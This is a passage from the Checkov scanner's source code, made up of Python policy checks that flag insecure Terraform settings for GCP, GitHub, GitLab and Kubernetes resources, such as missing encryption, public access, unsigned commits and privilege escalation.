from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck # flow logs can't be enabled for subnetworks with the following purpose set PURPOSE_EXCEPTIONS = ["INTERNAL_HTTPS_LOAD_BALANCER", "REGIONAL_MANAGED_PROXY", "GLOBAL_MANAGED_PROXY"] class GoogleSubnetworkLoggingEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network" id = "CKV_GCP_26" supported_resources = ("google_compute_subnetwork",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: purpose = conf.get("purpose") if purpose and purpose[0] in PURPOSE_EXCEPTIONS: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "log_config" def get_expected_values(self) -> List[Any]: return [ANY_VALUE] check = GoogleSubnetworkLoggingEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck # private_ip_google_access is not supported for subnetworks with the following purpose set PURPOSE_EXCEPTIONS = ["INTERNAL_HTTPS_LOAD_BALANCER", "REGIONAL_MANAGED_PROXY", "GLOBAL_MANAGED_PROXY"] class GoogleSubnetworkPrivateGoogleEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that private_ip_google_access is enabled for Subnet" id = "CKV_GCP_74" supported_resources = ("google_compute_subnetwork",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: purpose = conf.get("purpose") if purpose and isinstance(purpose, list) and purpose[0] in PURPOSE_EXCEPTIONS: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "private_ip_google_access" check = GoogleSubnetworkPrivateGoogleEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py ================================================ from typing import List from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class GoogleVertexAINotebookShieldedVM(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Vertex AI Notebook instances are launched with Shielded VM enabled" id = "CKV_GCP_126" supported_resources = ['google_notebooks_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'shielded_instance_config/[0]/enable_vtpm' def get_forbidden_values(self) -> List[bool]: return [False] check = GoogleVertexAINotebookShieldedVM() ================================================ FILE: checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MemorystoreForRedisAuthEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Memorystore for Redis has AUTH enabled" id = "CKV_GCP_95" supported_resources = ("google_redis_instance",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "auth_enabled" # Accounts for if key is present but is set to False def get_expected_value(self) -> Any: return True check = MemorystoreForRedisAuthEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MemorystoreForRedisInTransitEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Memorystore for Redis uses intransit encryption" id = "CKV_GCP_97" supported_resources = ['google_redis_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "transit_encryption_mode" # Accounts for if key is present but is set to False def get_expected_value(self): return "SERVER_AUTHENTICATION" check = MemorystoreForRedisInTransitEncryption() ================================================ FILE: checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class PubSubPrivateTopic(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Pub/Sub Topics are not anonymously or publicly accessible" id = "CKV_GCP_99" supported_resources = ("google_pubsub_topic_iam_member", "google_pubsub_topic_iam_binding") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: public_principals = ( "allUsers", "allAuthenticatedUsers" ) # Depending on the terraform resource type - # The member config is either a list or single principal if self.entity_type == "google_pubsub_topic_iam_member": # conf.get returns as a list # so we create a string for comparison if "member" in conf.keys(): member = conf.get("member")[0] if member in public_principals: return CheckResult.FAILED else: return CheckResult.PASSED # iam_binding returns a list of principals elif self.entity_type == "google_pubsub_topic_iam_binding": # Since conf.get returns a list and iam_binding returns a list (nested list) # we pull out the members list using the index 0 if "members" in conf.keys(): members_list = conf.get("members")[0] if any(member in public_principals for member in members_list): return CheckResult.FAILED else: return CheckResult.PASSED check = PubSubPrivateTopic() ================================================ FILE: checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class SpannerDatabaseDeletionProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Spanner Database has deletion protection enabled" id = "CKV_GCP_119" supported_resources = ['google_spanner_database'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return 'deletion_protection' def get_expected_value(self) -> bool: return True check = SpannerDatabaseDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class SpannerDatabaseDropProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Spanner Database has drop protection enabled" id = "CKV_GCP_120" supported_resources = ["google_spanner_database"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "enable_drop_protection" def get_expected_value(self) -> bool: return True check = SpannerDatabaseDropProtection() ================================================ FILE: checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SpannerDatabaseEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_93" supported_resources = ['google_spanner_database'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_config/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = SpannerDatabaseEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class VertexAIDatasetEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Vertex AI datasets uses a CMK (Customer Managed Key)" id = "CKV_GCP_92" supported_resources = ['google_vertex_ai_dataset'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_spec/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = VertexAIDatasetEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class VertexAIMetadataStoreEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key)" id = "CKV_GCP_96" supported_resources = ['google_vertex_ai_metadata_store'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_spec/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = VertexAIMetadataStoreEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py ================================================ from typing import List from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class VertexAINotebookEnsureIntegrityMonitoring(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled" id = "CKV_GCP_127" supported_resources = ['google_notebooks_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'shielded_instance_config/[0]/enable_integrity_monitoring' def get_forbidden_values(self) -> List[bool]: return [False] check = VertexAINotebookEnsureIntegrityMonitoring() ================================================ FILE: checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class VertexAIPrivateInstance(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Vertex AI instances are private" id = "CKV_GCP_89" supported_resources = ("google_notebooks_instance",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "no_public_ip" # Accounts for if key is present but is set to False def get_expected_value(self) -> Any: return True check = VertexAIPrivateInstance() ================================================ FILE: checkov/terraform/checks/resource/gcp/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class BranchProtectionRequireSignedCommits(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GitHub branch protection rules requires signed commits" id = "CKV_GIT_6" supported_resources = ["github_branch_protection_v3", "github_branch_protection"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "require_signed_commits" def get_expected_value(self) -> Any: return True check = BranchProtectionRequireSignedCommits() ================================================ FILE: checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py ================================================ from __future__ import annotations from typing import Any from checkov.common.util.type_forcers import force_int from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class BranchProtectionReviewNumTwo(BaseResourceCheck): def __init__(self) -> None: name = "GitHub pull requests should require at least 2 approvals" id = "CKV_GIT_5" supported_resources = ("github_branch_protection_v3", "github_branch_protection") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: reviews = conf.get("required_pull_request_reviews") if reviews and isinstance(reviews, list): review_count = reviews[0].get("required_approving_review_count") if review_count and isinstance(review_count, list): count = force_int(review_count[0]) if count and count >= 2: return CheckResult.PASSED self.evaluated_keys = ["required_pull_request_reviews/[0]/required_approving_review_count"] return CheckResult.FAILED check = BranchProtectionReviewNumTwo() ================================================ FILE: checkov/terraform/checks/resource/github/PrivateRepo.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class PrivateRepo(BaseResourceCheck): def __init__(self) -> None: name = "Ensure GitHub repository is Private" id = "CKV_GIT_1" supported_resources = ["github_repository"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if conf.get("private") == [True]: return CheckResult.PASSED elif conf.get("visibility") in [["private"], ["internal"]]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["private", "visibility"] check = PrivateRepo() ================================================ FILE: checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class GithubRepositoryVulnerabilityAlerts(BaseResourceCheck): def __init__(self) -> None: name = "Ensure GitHub repository has vulnerability alerts enabled" id = "CKV_GIT_3" supported_resources = ["github_repository"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # GitHub disables the alerts when archiving the repository without an option to turn them on again. if conf.get("archived") == [True]: return CheckResult.PASSED # GitHub enables the alerts on public repos but disables them on private repos by default. # is private repo if conf.get("private") == [True] or conf.get("visibility") in [["private"], ["internal"]]: if conf.get("vulnerability_alerts"): return CheckResult.PASSED return CheckResult.FAILED # is public repo if conf.get("vulnerability_alerts") == [False]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["vulnerability_alerts"] check = GithubRepositoryVulnerabilityAlerts() ================================================ FILE: checkov/terraform/checks/resource/github/SecretsEncrypted.py ================================================ from typing import List, Any, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.consts import ANY_VALUE class SecretsEncrypted(BaseResourceNegativeValueCheck): def __init__(self) -> None: # -from github docs "It is also advised that you do not store plaintext values in your code but rather populate # the encrypted_value using fields from a resource, data source or variable as, # while encrypted in state, these will be easily accessible in your code" name = "Ensure GitHub Actions secrets are encrypted" id = "CKV_GIT_4" supported_resources = ( "github_actions_environment_secret", "github_actions_organization_secret", "github_actions_secret", ) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: plaintext = conf.get("plaintext_value") if plaintext and self._is_variable_dependant(plaintext[0]): return CheckResult.UNKNOWN if isinstance(plaintext, list) and not plaintext[0]: # this happens mainly in TF plan files, because the value is just an empty string return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "plaintext_value" def get_forbidden_values(self) -> List[Any]: return [ANY_VALUE] check = SecretsEncrypted() ================================================ FILE: checkov/terraform/checks/resource/github/WebhookInsecureSsl.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WebhookInsecureSsl(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GitHub repository webhooks are using HTTPS" id = "CKV_GIT_2" supported_resources = ("github_repository_webhook",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "configuration/[0]/insecure_ssl/[0]" def get_expected_value(self) -> Any: return False check = WebhookInsecureSsl() ================================================ FILE: checkov/terraform/checks/resource/github/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ForcePushDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GitLab branch protection rules does not allow force pushes" id = "CKV_GLB_2" supported_resources = ["gitlab_branch_protection"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "allow_force_push" def get_expected_value(self) -> Any: return False check = ForcePushDisabled() ================================================ FILE: checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PreventSecretsEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GitLab prevent secrets is enabled" id = "CKV_GLB_3" supported_resources = ["gitlab_project"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "push_rules/[0]/prevent_secrets" def get_expected_value(self) -> Any: return True check = PreventSecretsEnabled() ================================================ FILE: checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RejectUnsignedCommits(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GitLab commits are signed" id = "CKV_GLB_4" supported_resources = ["gitlab_project"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "push_rules/[0]/reject_unsigned_commits" def get_expected_value(self) -> Any: return True check = RejectUnsignedCommits() ================================================ FILE: checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int class RequireTwoApprovalsToMerge(BaseResourceCheck): def __init__(self) -> None: name = "Ensure at least two approving reviews are required to merge a GitLab MR" id = "CKV_GLB_1" supported_resources = ["gitlab_project"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: approvals = conf.get("approvals_before_merge") if approvals and isinstance(approvals, list): num_approvals = force_int(approvals[0]) if num_approvals and num_approvals >= 2: return CheckResult.PASSED self.evaluated_keys = ["approvals_before_merge"] return CheckResult.FAILED check = RequireTwoApprovalsToMerge() ================================================ FILE: checkov/terraform/checks/resource/gitlab/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AllowPrivilegeEscalation(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.5 # CIS-1.5 5.2.5 # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN. # https://kubernetes.io/docs/concepts/policy/pod-security-policy/ # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries # DefaultAllowPrivilegeEscalation - Default is to allow as to not break setuid binaries name = "Containers should not run with allowPrivilegeEscalation" id = "CKV_K8S_20" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec_list = conf.get('spec') if not spec_list: return CheckResult.UNKNOWN spec = spec_list[0] if spec: evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if not containers: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context"): context = container.get("security_context")[0] if context.get("allow_privilege_escalation"): if context.get("allow_privilege_escalation") == [True]: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/' f'allow_privilege_escalation'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = AllowPrivilegeEscalation() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any class AllowPrivilegeEscalationPSP(BaseResourceNegativeValueCheck): def __init__(self) -> None: # CIS-1.3 1.7.5 # CIS-1.5 5.2.5 # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN. # https://kubernetes.io/docs/concepts/policy/pod-security-policy/ # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries # DefaultAllowPrivilegeEscalation - Default is to allow as to not breat setuid binaries # If you omit allowPrivilegeEscalation from PSP, it defaults to true # Location: PodSecurityPolicy.spec.allowPrivilegeEscalation name = "Containers should not run with allowPrivilegeEscalation" id = "CKV_K8S_5" supported_resources = ('kubernetes_pod_security_policy',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'spec/[0]/allow_privilege_escalation' def get_forbidden_values(self) -> list[Any]: return [True] check = AllowPrivilegeEscalationPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AllowedCapabilities(BaseResourceCheck): def __init__(self): # CIS-1.5 5.2.8 name = "Minimize the admission of containers with added capability" # Do not generally permit containers with capabilities assigned beyond the default set # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities id = "CKV_K8S_25" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context"): context = container.get("security_context")[0] if context.get("capabilities"): capabilities = context.get("capabilities")[0] if isinstance(capabilities, dict) and capabilities.get("add"): add = capabilities.get("add")[0] if add: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/' f'security_context/[0]/capabilities/add'] return CheckResult.FAILED return CheckResult.PASSED check = AllowedCapabilities() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any, List class AllowedCapabilitiesPSP(BaseResourceNegativeValueCheck): def __init__(self): # CIS-1.5 5.2.8 name = "Do not allow containers with added capability" # No capabilities may be added beyond the default set # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities # Location: PodSecurityPolicy.spec.allowedCapabilities id = "CKV_K8S_24" supported_resources = ['kubernetes_pod_security_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'spec/[0]/allowed_capabilities' def get_forbidden_values(self) -> List[Any]: return [ANY_VALUE] check = AllowedCapabilitiesPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AllowedCapabilitiesSysAdmin(BaseResourceCheck): def __init__(self): name = "Do not use the CAP_SYS_ADMIN linux capability" # This provides the most privilege and is similar to root # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ id = "CKV_K8S_39" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context") and isinstance(container.get("security_context"), list): context = container.get("security_context")[0] if context.get("capabilities") and isinstance(context.get("capabilities"), list): capabilities = context.get("capabilities")[0] if isinstance(capabilities, dict) and capabilities.get("add") and isinstance(capabilities.get("add"), list): add = capabilities.get("add")[0] if "SYS_ADMIN" in add: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/' f'security_context/[0]/capabilities/add'] return CheckResult.FAILED return CheckResult.PASSED check = AllowedCapabilitiesSysAdmin() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/CPULimits.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CPULimits(BaseResourceCheck): def __init__(self) -> None: name = "CPU Limits should be set" id = "CKV_K8S_11" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if not containers: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("resources"): resources = container.get("resources")[0] if resources.get('limits'): limits = resources.get('limits')[0] if isinstance(limits, dict) and limits.get('cpu'): return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/limits'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED check = CPULimits() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/CPURequests.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CPURequests(BaseResourceCheck): def __init__(self): name = "CPU requests should be set" id = "CKV_K8S_10" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("resources"): resources = container.get("resources")[0] if resources.get('requests'): limits = resources.get('requests')[0] if isinstance(limits, dict) and limits.get('cpu'): return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/requests'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED check = 